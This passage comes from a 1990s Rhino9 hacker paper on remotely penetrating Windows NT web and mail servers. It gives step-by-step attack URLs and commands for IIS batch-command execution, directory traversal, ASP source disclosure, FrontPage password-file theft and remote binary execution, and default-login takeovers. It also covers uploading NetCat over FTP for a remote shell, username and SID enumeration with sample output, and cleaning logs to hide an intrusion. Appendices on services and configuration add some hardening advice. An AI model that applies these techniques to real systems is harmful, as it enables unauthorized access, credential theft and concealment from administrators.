4) Nothing is logged on the server side by the IIS Web
server, because the execution process was not successfully
terminated!!! (Thanks to the "time" command.) The only
way to see that something happened is to review all your
NT security logs. But they do not contain information
like REMOTE_IP. Thus the hacker's machine remains fully
anonymous.
Let's resume:
1) IIS Web server allows a hacker to execute his "batch file"
by typing
/scripts/abracadabra.bat?&COMMAND1+?&COMMAND2+?&...+?&COMMANDN
In a similar situation with the Netscape server, only
single command can be executed.
2) There is no file abracadabra.bat in /scripts directory,
but .bat extension is mapped to C:\WINNT35\System32\cmd.exe
In a similar situation with the Netscape server, actual
.bat file must exist.
3) In case a hacker enters a command like "time" or "date" as
COMMAND[N], nothing will be logged by IIS Web server.
In a similar situation with the Netscape server, the error
log will have a record about remote IP and command you
trying to execute.
<End Quote>
If you are having trouble seeing exactly what is going on in this situation, an intruder
could use the above attack sequence to create and execute files server side. This could
have really drastic results depending on the skill level and intent of the attacker.
Luckily, most production environments are no longer running versions of Internet
Information Server old enough to still be affected by this flaw.
Shortly after the bat/cmd flaw was fully investigated and documented, another bug hit the
community. Again, lucky for us this flaw also only affects older version of Internet
Information Server. This flaw, called the 'double dot bug' gave the visitor to the website
the ability to break out of the sanctioned webroot directory and browse or download files.
Obviously the end server could contain sensitive information that exists outside of the
designated webroot, and this simple flaw would give an outsider access to that
information. The command is executed as a URL, and its structure is as follows:
http://www.someserver.com/..\..
As if the double dot bug was not enough, another variant on that flaw appeared shortly
after. This newly found flaw would give an intruder the ability to execute scripts on the
target machine. Due to the fact that this new flaw is a variant of the double dot bug, the
scripts in question could exist outside of the webroot. This attack is also structured as
a URL, and is issued as follows:
http://www.someserver.com/scripts..\..\scriptname
WindowsNT installations of Internet Information Server require some type of account to be
used for authentication on the box for public visits. If this account was not present in
some fashion, every visitor to the site would be required to present credentials. This
would not be a very effective or efficient way to present a public website. On Internet
Information Server, the account to be used is the IUSR_<computername> account. This
account and its accompanying password are created during installation. By default, this
account is a member of the everyone group, and by default the everyone group has read
access to everything on an NT drive. This fact coupled with the above mentioned flaw's
ability to break out of the webroot could lead to major security breaches.
For a short while, it seemed that new URL related attack types seemed to pop up every
week. Following the scripts flaw above was another script related bug that would allow an
intruder to create a file on the target machine, and possibly execute the file after
creation. The new attack URL structure was:
http://www.someserver.com/scripts/script_name%0A%0D>PATH\target.bat
When this flaw first appeared, many people in the community ignored it and gave it no
serious thought. Soon after, a public release was made documenting the exact steps an
intruder would take to obtain a copy of the repair SAM. The release including the above
URL flaw as part of its overall attack.
When Microsoft released Internet Information Server 3.0, it brought active server page
technology to the world. This release also opened the gates to a new stream of flaws that
affected IIS and NT4.
Active server pages brought simple, dynamic webpages to the Microsoft world. Active Server
Pages can be used in many different ways, such as database connectivity, indexing and
searching documents, authentication, and simple graphics rotation for those annoying
advertisement banners.
The concept of active server pages was actually pretty creative. The HTML code would
include imbedded script code that would execute server side and produce dynamic content
for the end user. With this new technology widely available, it was not long until the
first flaw was released to the public. This first flaw, dubbed the 'dot flaw', would allow
an intruder to actually view the script without the server executing it.
A standard URL structure would look like this:
http://www.genericserverhere.com/default.asp
The attack URL structure would look like this:
http://www.genericserverhere.com/default.asp.
This attack would display the unexecuted code in the attackers web browser. Needless to
say, the script code could contain sensitive information, such as a username/password
combination to remotely connect to a database. This type of information, among other
things, is not something that one would want an intruder getting their hands on.
When a fix was released for the dot flaw, variants of the flaw that defeated the fix were
also released. The first of the variants was the %2e flaw. %2e is the hex equivelant of a
period, thus showing that the fix that was made available was not incredibly robust.
Variants of this flaw continue to show up on occasion. Because all of the variants perform
the same exact end results, they will not be discussed in detail. Some of the known attack
URL structures are listed below:
http://www.someserver.com/default%2easp
http://www.someserver.com/default%2e%41sp
http://www.someserver.com/default.asp::$DATA
http://www.someserver.com/shtml.dll?<filename>.asp
Everyone involved in the security community has a feeling that these will not be the last
script displaying methods to emerge in the near future. As these scripts become more and
more commonplace, they will contain more and more sensitive information. These simple
exploits could lead to an intruder easily gleaning sensitive information.
When it comes to gleaning information from IIS, perhaps one of the most popular and
easiest of the attacks is the Index Server attack. Index Server is a small compact search
engine module that was included with Internet Information Server version 3.0. This module
gives webmasters the ability to provide visitors to their site with a searchable interface
for searching the contents of the website. Although there are no inherent problems with
Index Server itself, problems arise out of a lack of education on the part of the admin or
webmaster. Index Server is not difficult to understand, setup and mantain, although its
use of catalogs and scopes can lead to an admin misconfiguring the permissions and
searchable content. This misconfiguration could lead to an intruder gaining access to
information he would normally have a much more difficult time getting.
The default URL structure for this attack would be:
http://www.someserver.com/samples/search/queryhit.htm
This path reflects the default path to the sample pages that ship with Internet
Information Server. If this path is not a valid path, the intruder could still click on
that helpful little "Search This Site" link to access the same information. Once
the intruder successfully reaches the html document in question, he will be presented with
a webpage containing a form field. This form field is where a visitor to your site would
normally input the information he wished to search for. An intruder could use a filename
search string such as:
#filename=*.txt
This would instruct Index Server to search through its catalog of indexed data for any
files ending with that file extension. Keep in mind that this file extension is not
limited to extensions that Index Server understands. If Index Server encounters a file
type it does not understand, it will treat it as a binary and index the filename,
extensions, date, and other attributes. This means that an intruder could search for
anything, including *._, which could bring up the repair sam. The interesting thing about
Index Server is that unlike other full blown internet search engines, Index Server will
not display a file for which the requester does not have permission to access. In other
words, if Index Server returns the fact that it found a file, then the file is accessable.
Another favorite default function an intruder would attempt to access is Internet
Information Servers web admin interface. In a default installation of IIS, the web admin
interface resides in the 'iisadmin' sub directory of the web root, which means the URL
attack structure would be:
http://www.someserver.com/iisadmin
If the admin has somehow misconfigured the permissions on this interface, then an intruder
could gain unauthorized access to the web server with administrative functions. If
successful, the intruder would be presented with an HTML interface to an administrative
tool. Because of the way IIS and NT handles permissions, it is possible for the intruder
to gain access to the interface but not have the proper permissions to actually do
anything with it. So if you are auditing your own network, be sure to attempt a minor
change to ensure that there is a problem.
In late '97 and early '98 an enormous amount of webserver hacks were performed. A large
number of those hacks had one thing in common: the webservers were running Microsoft
Frontpage Extensions. Frontpage Extensions are little 'web bots', if you will, that allow
the author or administrator of the website to perform complex or involved tasks with
relative ease.
The problem with the Frontpage Extensions was that a default Frontpage installation was
not secure, especially in the unix version. An alarming number of the servers supporting
these extensions had been left unpassworded or enabled administrative rights to the
Everyone group. Again, the everyone group means everyone, including anonymous connections.
We will dive into the first Frontpage attack with a discussion of an attack using the
actual Frontpage client software.
A server that supports FrontPage will have a number of working directories that begin with
the letters '_vti'. Doing a search at any of the popular search engines for any of the
default frontpage directories would result in a large number of returns from the engine.
An intruder could then get comfortable and attempt a simple, repetative attack against
these servers. The attack is executed as follows:
1- Open your own personal copy of FrontPage
2- Goto the "Open frontpage web" dialogue box
3- Put in the URL or IP of the server you wish to attack
If the server is unpassworded or if permission is granted to the everyone group, Frontpage
will open the remote site for you, and allow you to alter it. The attack really is this
simple. If the extensions are set up correctly, a username/password dialogue would appear.
The intruder may attempt some basic combinations such as administrator/password, but
chances are the intruder won't bother, and will move on.
An intruder could also use the same "open frontpage web" trick to get a complete
user listing. This could be used in brute force attacks later. Documentation circulated
explaining that to stop the gleaning of usernames this way, one should create a
restriction group as FP_www.yourdomain.com:80. This new restriction group indeed works,
unless the intruder uses the IP address of your server instead of the domain name.
Some other tricks that can be done with FrontPage support is attempting to grab the
Frontpage password file. Frontpage normally stores the password in the _vti_pvt directory,
with the name service.pwd. An intruder could attempt to execute the following URL:
http://www.someserver.com/_vti_pvt
If permissions are not setup correctly and directory browsing is allowed, the intruder
would get a listing of the files in that directory, including service.pwd. Usually the
administrator will pay some attention to the installation and security of the site and
restrict access to that directory. Although this is a good initial step, always remember
how NTFS works. Depending on the configuration of NTFS, a user may still gain access to
the password file even though access to the parent folder has been denied. In this type of
situation, the intruder would simply issue the full path to the file in the URL, such as:
http://www.someserver.com/_vti_pvt/service.pwd
Although the frontpage password file is encrypted, it is encrypted with standard DES, so
any DES cracker can glean it after proper file doctoring. An intruder may also poke around
the other _vti directories, as sometimes these can hold sensitive information. After the
username is known and the password has been cracked, the intruder could then re-connect
with his copy of Frontpage and provide it with the credentials, or the credentials could
be used in other ways, such as mapping a network drive, provided the same
username/password combination would work in that context.
(NOTE: Service.pwd is not the only known password file name. Authors.pwd, admin.pwd,
users.pwd and administrators.pwd have also been seen.)
Of the Frontpage related exploits, the binary ftp exploit is probably considered to be the
most sophisticated, even though it's also extremely easy to accomplish. The binary attack
would allow an intruder to execute any binary via frontpage extensions. The attacker must
find a server that supports frontpage and also supports FTP anonymous writable. After
connecting to the server via FTP, the intruder would create a directory named _vti_bin. He
would then upload whichever executable he wishes to run into the newly created directory.
Once the executable file has been uploaded, the intruder would issue the following URL:
http://www.someserver.com/_vti_bin/uploaded_file
The server will then be more than happy to execute the file for the visitor of the site.
Shortly after the binary attack made its rounds, the _vti_cnf bug was found. This would
allow an intruder to view all files in a certain directory. By replacing the index.html
with _vti_cnf, the intruder would see all files in that directory, and possibly gain
access to them. The attack is issued as follows:
Standard structure - http://www.someserver.com/some_directory_structure/index.html
Attack structure - http://www.someserver.com/some_directory_structure/_vti_cnf
It may seem as though there could be countless variants of the same attack type that could
issue similar results. Sadly enough, that is a somewhat accurate statement. Many of these
flaws are found by people playing with variants of previous flaws, but not all flaws
affecting NT web services come from Internet Information Server.
There are other web server software packages that will run on NT, like the well known
Apache web server. Of course, with these third party web server packages and seperately
released scripts that run on these third party packages, new flaws are bound to show up.
Webcom Datakommunikation released a cgi script that would allow visitors of a website to
sign a guestbook. The name of the cgi script is wguest.exe. By issuing the proper
commands, this little cgi script allows an attacker to view any text file on your server.
The form page where a visitor would sign the guestbook contains a number of hidden fields.
One of these hidden input fields is as follows (as reported by David Litchfield):
input type="hidden" name="template"
value="c:\inetpub\wwwroot\gb\template.htm">
or
input type="hidden" name="template"
value="/gb/template.htm">
Template.htm here is the file that will be displayed by wguest.exe after the user has
entered his information. To exploit this an attacker views the source and saves the
document to his desktop and edits this line by changing the path to whatever file he wants
to view, eg.
input type="hidden" name="template"
value="c:\winnt\system32\$winnt$.inf">
[If an unattended install was done the admin password can be gleaned from this file]
He then clicks on "Submit" and then wguest.exe will display this file. This was
not tested with pwl files. However the attacker must know the exact path of the file he
wishes to view.
Another 'generic' HTTPD exploit involves a third party webserver product that runs on
WindowsNT called Sambar Server. The following is a direct quote from posting:
<quote>
It is possible to view the victim's HDD. Asume you find a computer running Sambar Server
by searching the Internet with these key-words: +sambar +server +v4.1
If you find a site like: http://www.site.net/ then do a test, run a little perl script...
http://www.site.net/cgi-bin/dumpenv.pl
Now you see the complete environment of the victims computer, including his path. Now you
can try to login as the administrator by this url:
http://www.site.net/session/adminlogin?RCpage=/sysadmin/index.stm
The default login is: admin and the default password is blank. If the victim hasn't
changed his settings, you now can control his server. Another feature is to view the
victims HDD. If you were able to run the perl script you should also be able (in most
cases) to view directory's from his path. Most people have c:/program files and c:/windows
in the path line, so what you can do is:
http://www.site.net/c:/program files/sambar41
<end quote>
The next small item in this section has to do with Netscape Enterprise Server. Some
versions of the software react to the ?PageServices parameter by allowing users access to
a directory listing. http://www.site.net/?PageServices is how this would be done.
Finally a word on FTP. FTP can be a secure thing. Tons of people will argue that platforms
and version dependancy make it more secure, and for the most part this is true. Most
seasoned security profressionals will tell you that version and platform do not amount to
anything without an educated end admin. We are adding this quick note in here due to the
number of servers Rhino9 has been able to penetrate based on FTP permissions. Some admins
will not notice, or understand, the "Anonymous world writable" privs on their
webserver. Rhino9 has questioned and worked its way into an entire network via one
misconfigured FTP server.
It is not difficult to upload NetCat via anon-ftp-writable to a server, execute it via
URL, and bind it to a port. From that point on, you have a remote 'shell' on the NT box.
By connecting to that remote NetCat bind, keep in mind that all command line functions
issued from that shell seem to be sent from THAT SHELL, with the NetCat binding running in
the context of an internal user.
===================================================================
MISCELLANEOUS INFORMATION GATHERING AND PENETRATION TECHNIQUES
===================================================================
(As with any type of security related document that attempts to encompass many different
topics, some topics will seem out of place among the rest of them. This section deals with
different techniques that really did not fit anywhere else in the document. Excuse the
somewhat fragmented nature of this section.)
If there is one product that Rhino9 as a team has spent time tearing apart, it is WinGate.
The first problem encountered with WinGate was the ability to 'bounce' through a WinGate
with all subsequent connections appearing to come from the WinGate itself. This little
flaw was extremely easy to take advantage of. One would telnet to the WinGate port and be
presented with a prompt such as:
WinGate>
At this prompt, you could issue a seperate telnet command or take advantage of the
WinGates SOCKS ability to establish other connections. While the developer of this
software product was quick to release fixes and bulletins for this, the next release also
had problems.
In a default installation of WinGate v2.1, the WinGate machine was configured with a
logging service. The logging service listens on port 8010 of the WinGate machine. By
establishing an HTTP connection to this port, a possible intruder would be presented with
two general feeds:
"Connection Cannot Be Established"
Or, the intruder would get a listing of the wingate machines hard drive. Keep in mind,
that this is a default install and can easily be fixed by chaning the default install
configuration.
As Exchange server became a more and more popular mail server package, flaws began to
appear. The first flaw to emerge was a password caching problem within the architecture of
Exchange. This is a quote directly from the original posting:
<quote>
Create a user xyz on your NT domain with an Exchange 5.0 server with POP3 service. Set
xyz's password to a1234. Things work fine so far. Now change xyz's password to b5678. You
will find that POP3 mail clients can log in using either password a1234 or b5678 for user
xyz. Now change the password to something else. You will find that a POP3 client (or
direct telnet to port 110) will allow you to log in as xyz using any of the three
passwords. They all work. The Exchange 5.0 service POP3 connector caches passwords in a
non-hashing mechanism so that all the passwords remain active. This does not affect the
new web page interface to get your mail which uses a different authentication. Nor does it
affect NT logons. In non-POP3 logins, the passwords are not cached (except NNTP and LDAP).
As you can see, the caching problem can be very serious in certain environments.
<end quote>
Another technique that an intruder could use to gather information is based on the SMTP
port of a target mail server. In order to be SMTP compliant and have the ability to fully
interact with other mail entities on the internet, NT based SMTP mail servers understand
the verify feature. By establishing a telnet session to the SMTP port of the mail server,
an intruder could issue the verify command in conjunction with a username. If the verify
feature is enabled, the server will tell the intruder if it is a valid username or not.
The attack command would appear as such:
vrfy administrator (would verify if a user named administrator existed)
On some mail systems, the intruder would be required to go through the HELO sequence
first, but this is extremely trivial. Needless to say, this could lead to an intruder
gathering a list of valid usernames to use in other attacks.
===================================================================
FINAL WORDS
===================================================================
The authors of this document hope that you have enjoyed reading it and that you have
learned something from it. The authors would also like to remind the readers that we wish
to keep this document current. Planning future releases of this document, with up to date
information allows us to begin keeping a publicly available living record that
administrators and security professionals can use. Send your information gathering and
remote penetration techniques to neonsurge@hotmail.com. As new versions of this document
become available, notice will go out on such lists as NTBugTraq. The home of the document
itself will be at the Rhino9 website (http://rhino9.ml.org),
The authors of this document have three other documents planned for release in the near
future, all of them part of the NT WarDoc series. We have an indepth Denial of Service
paper in the works, Local Penetration Techniques paper, and a paper dealing with
techniques one could use to gaurd against the topics of the other papers. We look forward
to feedback from the community.
===================================================================
APPENDIX A: THE NET COMMAND
===================================================================
Below is a listing of all Net commands and their functions:
Net Accounts: This command shows current settings for password, logon limitations, and
domain information. It also contains options for updating the User accounts database and
modifying password and logon requirements.
Net Computer: This adds or deletes computers from a domains database.
Net Config Server or Net Config Workstation: Displays config info about the server
service. When used without specifying Server or Workstation, the command displays a list
of configurable services.
Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.
Net File: This command lists the open files on a server and has options for closing shared
files and removing file locks.
Net Group: This displays information about group names and has options you can use to add
or modify global groups on servers.
Net Help: Help with these commands
Net Helpmsg message#: Get help with a particular net error or function message.
Net Localgroup: Use this to list local groups on servers. You can also modify those
groups.
Net Name: This command shows the names of computers and users to which messages are sent
on the computer.
Net Pause: Use this command to suspend a certain NT service.
Net Print: Displays print jobs and shared queues.
Net Send: Use this command to send messages to other users, computers, or messaging names
on the network.
Net Session: Shows information about current sessions. Also has commands for disconnecting
certain sessions.
Net Share: Use this command to list information about all resources being shared on a
computer. This command is also used to create network shares.
Net Statistics Server or Workstation: Shows the statistics log.
Net Stop: Stops NT services, cancelling any connections the service is using. Let it be
known that stopping one service may stop other services.
Net Time: This command is used to display or set the time for a computer or domain.
Net Use: This displays a list of connected computers and has options for connecting to and
disconnecting from shared resources.
Net User: This command will display a list of user accounts for the computer, and has
options for creating a modifying those accounts.
Net View: This command displays a list of resources being shared on a computer. Including
netware servers.
**Special note on DOS and older Windows Machines: The commands listed above are available
to Windows NT Servers and Workstation. DOS and older Windows clients have these NET
commands available:
Net Config
Net Diag (runs the diagnostic program)
Net Help
Net Init (loads protocol and network adapter drivers.)
Net Logoff
Net Logon
Net Password (changes password)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver (displays the type and version of the network redirector)
Net View
===================================================================
APPENDIX B: AN EXAMPLE OF THE SID TOOLS IN USE
===================================================================
Below is an example of the SID Tools in action, quoted directly from the public posting
about this tool:
This flaw works with the User2Sid and Sid2User utilities. The utilities make function of
the LookupAccountName and LookupAccountSid WIN32 Functions. These functions must be
executed by a user with EVERYONE access, not very hard to accomplish. Here's what happens:
1) Looking up a SID of any domain account, for example Domain Users
user2sid "domain users"
S-1-5-21-201642981-56263093-24269216-513
Now we know all the subauthorities for the current domain. Domain accounts only differ by
the last number of the SID, called a RID.
2) Looking up the built-in administrator name (RID is always 500)
sid2user 5 21 201642981 56263093 24269216 500
Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
Now it is possible to look up all the domain accounts from the very first one (RID = 1000
for the first account, 1001 for the second and so on, RIDs are never used again for the
current installation).
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
...
Remember that the anonymous account is also part of the Everyone group. It also happens
that the anonymous account is not audited by the logon/logoff feature.
Below is an example of what you can learn provided the netbios ports are open (the listing
is fictional).
nslookup www.xyz.com
Non-authoritative answer:
Name: www.xyz.com
Address: 131.107.2.200
net use \\131.107.2.200\ipc$ "" /user:""
The command completed successfully.
user2sid \\131.107.2.200 "domain users"
S-1-5-21-201642981-56263093-24269216-513
Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500
Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000
Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001
Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112
LookupSidName failed - no such account
Default NT Install SID's are:
DOMAINNAME\ADMINISTRATOR
S-1-5-21-917267712-1342860078-1792151419-500 (=0x1F4)
DOMAINNAME\GUEST
S-1-5-21-917267712-1342860078-1792151419-501 (=0x1F5)
Built-In Global Groups
DOMAINNAME\DOMAIN ADMINS
S-1-5-21-917267712-1342860078-1792151419-512 (=0x200)
DOMAINNAME\DOMAIN USERS
S-1-5-21-917267712-1342860078-1792151419-513 (=0x201)
DOMAINNAME\DOMAIN GUESTS
S-1-5-21-917267712-1342860078-1792151419-514 (=0x202)
Built-In Local Groups
BUILTIN\ADMINISTRATORS S-1-5-32-544 (=0x220)
BUILTIN\USERS S-1-5-32-545 (=0x221)
BUILTIN\GUESTS S-1-5-32-546 (=0x222)
BUILTIN\ACCOUNT OPERATORS S-1-5-32-548 (=0x224)
BUILTIN\SERVER OPERATORS S-1-5-32-549 (=0x225)
BUILTIN\PRINT OPERATORS S-1-5-32-550 (=0x226)
BUILTIN\BACKUP OPERATORS S-1-5-32-551 (=0x227)
BUILTIN\REPLICATOR S-1-5-32-552 (=0x228)
Special Groups
\CREATOR OWNER S-1-3-0
\EVERYONE S-1-1-0
NT AUTHORITY\NETWORK S-1-5-2
NT AUTHORITY\INTERACTIVE S-1-5-4
NT AUTHORITY\SYSTEM S-1-5-18
===================================================================
APPENDIX C: RELATIONAL LOCATIONS OF DEFAULT IIS STRUCTURES
===================================================================
C:\InetPub\wwwroot <Home>
C:\InetPub\scripts /Scripts
C:\InetPub\wwwroot\_vti_bin /_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm /_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut /_vti_bin/_vti_aut
C:\InetPub\cgi-bin /cgi-bin
C:\InetPub\wwwroot\srchadm /srchadm
C:\WINNT\System32\inetserv\iisadmin /iisadmin
C:\InetPub\wwwroot\_vti_pvt /_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM Internet Information Index Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin
Frontpage specific files and their functions:
/_vti_inf.html Ensures that frontpage server extensions are installed.
/_vti_pvt/service.pwd Contains the encrypted password files. Not used on IIS and WebSite
servers.
/_vti_pvt/authors.pwd On Netscape servers only. Encrypted. Names and passwords of authors.
/_vti_pvt/administrators.pwd
/_vti_log/author.log If author.log is there it will need to be cleaned to cover an
intruders tracks.
===================================================================
APPENDIX D: THE SERVICES
===================================================================
I have received countless pieces of mail regarding the NT services. People are asking what
they do and should certain ones be disabled. Whats follows is a list of the services, an
explanation of each one, and recommendations for setup. -NeonSurge
ALERTER: Relies on NetBIOS over TCP/IP for network communication. This service allows a
user to receive messages from other machines. These messages could be warnings or some
type of pre-determined network information. I recommend disabling the Alerter service on
machines due to its NetBIOS dependancy and the fact that it is hardly ever used.
CLIPBOOK SERVER: Relies on NetBIOS over TCP/IP for network communication. This server
service allows the contents of the clipboard to be shared over a network. Few use it, and
it should be disabled due to the ability of a remote intruder possible gleaning
information from it.
COMPUTER BROWSER: The Computer Browser service allows one to view available network
resources by browsing via Network Neighborhood. When active on a server, the server will
register its name through a NetBIOS broadcast or directly to a WINS server. I recommend
disabling this service.
DHCP CLIENT: This service should be set to automatic if the machine is a dhcp client, if
not, disable it.
DIRECTORY REPLICATOR: This service allows NT systems to import and export directory
contents. If you content replication is not needed, disable this service.
EVENT LOG: I recommend always using this service because it is the service responsible for
logging activity on the server, including security activity.
LICENSE LOGGING SERVICE: Used to track use of licenses by different applications, it does
not have any serious impact on the network and should be set to automatic (which is the
default setting).
MESSENGER SERVICE: Relies on NetBIOS over TCP/IP for network communication. Similar to the
Alerter service in both design and function. I recommend stopping this service to prevent
username enumeration via NBTSTAT commands.
NET LOGON: This service is used by both Server and Workstation to provide for user
authentication. TSERhis service is said to be required at all times and runs as the built
in SYSTEM user.
NETWORK DDE and DDE DSDM: These service provide dynamic data exchange. DDE is used for
such applications as Chat (thats important!), and other applications that may require this
type of functionality. These services are considered to be a moderate risk due to their
TCP connection accepting states.
NETWORK MONITOR AGENT: Network Monitor Agent is used to monitor, or sniff, the traffic
passing through a network adapter card. If the SMS version of this software is in use, an
administrator can remotely monitor traffic on other network adapter cards.
NT LM SECURITY SUPPORT PROVIDER: This service is present to help with backwards
compatibility and authentication with older software packages.
PLUG AND PLAY: Used to configure PnP devices.
REMOTE PROCEDURE CALL LOCATOR AND SERVICES: RPC is a protocol that is used to encapsulate
fucntion calls over a network. Its defualt configuration, automatic, is standard and
should be left alone. This service is considered to pose a high security risk, but the
dependancies existing on this service are too great to disable it.
ROUTING AND REMOTE ACCESS SERVICE: This is an add-on service that enhances the
functionality of WindowsNT. If you are using a modem to dial-out of your NT system, this
service should be set to automatic. If you are using its routing features, also set it to
automatic.
SCHEDULE: This service allows an application to be executed at a pre-specified time and
date. This can pose a serious security threat as this service can be used to start
applications under the SYSTEM context.
SERVER: Used as the key to all server-sdie NetBIOS applications, this service is somewhat
needed. Without this service, some of the administrative tools, such as Server Manager,
could not be used. If remote administration or access to the machine is not needed, I
highly recommend disabling this service. Contrary to popular belief, this service is NOT
needed on a webserver.
SPOOLER: The spooler service is used to accept requests for print jobs from clients, and
to allow the local system to spool jobs to a network printer. This service should be set
to automatic.
TCP/IP NETBIOS HELPER: This service helps and enhances NBT and the Net Logon service.
Because the Net Logon service should be set to automatic, so should this service.
TELEPHONY SERVICE: This service is used to manage telephony drivers and the properties for
dialing. On a system that does not use any type of telephony or RAS devices should have
this service disabled.
UPS: This service is used in serial communication with an Uninterruptible Power Supply.
WORKSTATION: This service allows for outbound NetBIOS connections. Because it is used in
outbound connections only, it is normally not a security risk and should be set to
automatic.
===================================================================
APPENDIX E: URL's
===================================================================
Sid Tools: http://www.technotronic.com/microsoft.html
Eudpass: http://rhino9.ml.org/wardoc
1nf0ze: http://rhino9.ml.org/wardoc
FireFTP: http://rhino9.ml.org/wardoc
Grinder: http://rhino9.ml.org/software
Glide: http://rhino9.ml.org/wardoc
John The Ripper (DES Cracker): http://www.false.com/security/john/index.html
WS_FTPBug: http://rhino9.ml.org/wardoc
L0phtCrack (NT Password Cracker): http://www.l0pht.com
PWDump: http://rhino9.ml.org/wardoc
NAT: http://www.technotronic.com/microsoft.html
===================================================================
APPENDIX F: THE LMHOSTS FILE
===================================================================
Although most security professionals are used to working with a HOSTS file, WindowsNT
actually uses two text files to resolve hostnames to their adresses. WindowsNT still uses
a HOSTS file, but it also uses an LMHOSTS file.
Much like a HOSTS file, an LMHOSTS is a flat, sequential text file that is used to resolve
computer names (NetBIOS) to addresses. The LMHOSTS file also allows one to use keywords,
which gives it greater functionality and flexibility than a HOSTS file.
The keywords that the LMHOSTS file uses are #PRE, #DOM:domain, #INCLUDE filename,
#BEGIN_ALTERNATE, and #END_ALTERNATE. If something follows a hash mark that is not one of
these keywords, it is treated as a remark.
#PRE: If this keyword follows an entry in an LMHOSTS file, it tells WindowsNT to pre-load
that entry into the name cache. This allows the windows system to resolve the name much
quicker.
#DOM: The #DOM tag entry causes WindowsNT to associate that entry with whatever domain you
specify (i.e. #DOM:accounting). This helps NT resolve certain names more efficiently
because it does not have to consult routing tables to find out which domain the entry
belongs in.
#INCLUDE: This entry tells WindowsNT where to look for other LMHOSTS files that reside on
other machines. When using this function, one should specify the UNC path to the other
LMHOSTS file. The #BEGIN_ALTERNATE and #END_ALTERNATE are used in conjunction with the
#INCLUDE tag and should appear before and after the #INCLUDE tag.
===================================================================
RHINO9 SECURITY RESEARCH TEAM - HTTP://RHINO9.ML.ORG
=================================================================== |